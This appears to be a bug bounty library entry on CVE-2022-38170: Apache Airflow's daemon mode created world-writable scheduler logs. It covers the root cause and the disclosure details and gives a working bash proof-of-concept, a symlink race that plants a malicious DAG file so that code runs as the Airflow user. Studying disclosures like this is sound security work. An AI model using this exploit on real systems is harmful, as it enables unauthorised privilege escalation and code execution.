# Airflow Daemon Mode Insecure Umask Privilege Escalation

Airflow daemon mode used umask 0, making scheduler log files world-writable; a local user symlinked a log to a DAG file to inject code executed as the Airflow user.

- Payout: $2,400
- Severity: medium
- Program: Internet Bug Bounty
- Found by (vendor credit): Harry Sintonen
- Found by: nyymi
- Disclosed: 2022-09-17
- CVE: CVE-2022-38170
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1690093
- Library page: https://bugbountylibrary.com/r/h1%3A1690093
- Tags: area:cloud domain:infra impact:privesc impact:rce kind:bounty platform:hackerone sev:medium tech:python technique:race-window vuln:misconfiguration vuln:privilege-escalation vuln:race-condition

**Target:** Apache Airflow scheduler daemon log files / DAG directory
**Root cause:** Components launched with --daemon set umask 0, so log files and directories were created world-writable, letting any local user replace or symlink them.
**Steps:**
1. Run `airflow scheduler --daemon` (vulnerable <2.3.4) so logs are created with umask 0.
2. As low-priv local user, `cd $TARGET/logs/scheduler/latest/native_dags/example_dags`.
3. `rm example_bash_operator.py.log` and `ln -s $TARGET/dags/poc.py example_bash_operator.py.log`.
4. Wait until scheduler writes through the symlink creating `$TARGET/dags/poc.py`.
5. Remove symlink and write malicious DAG content (`os.system("id >>/tmp/pwned")`) into `poc.py`.
6. Restart scheduler; injected DAG executes as Airflow user.
**How found:** Researcher noticed daemonized components created world-writable files/dirs (umask 0) and hypothesized a local user could redirect scheduler log writes via symlink into the DAG directory.
**Exploitation:** Local attacker with filesystem access to Airflow home abuses world-writable log path via symlink race to plant a malicious DAG file, achieving arbitrary code execution as the Airflow service user on scheduler restart.
**Escalation:** Symlink race converts a file-permission flaw into full code execution as the Airflow user (privilege escalation from local unprivileged user).
**Insight:** When a service daemonizes with umask 0, its log paths become a symlink-race primitive: check whether log directories are writable and whether the service follows symlinks into code-executed paths like DAG/plugin dirs.

## Proof of concept (copied exactly from the original report)

**Symlink race to inject malicious DAG**

```
#!/bin/bash
TARGET=/home/airflow
umask 0
cd $TARGET/logs/scheduler/latest/native_dags/example_dags
rm example_bash_operator.py.log
ln -s $TARGET/dags/poc.py example_bash_operator.py.log
until [ -f $TARGET/dags/poc.py ]
do
  sleep 1
done
rm example_bash_operator.py.log
(cat <<'EOF'
import os
os.system("id >>/tmp/pwned")
from airflow import DAG
EOF
) > $TARGET/dags/poc.py
```

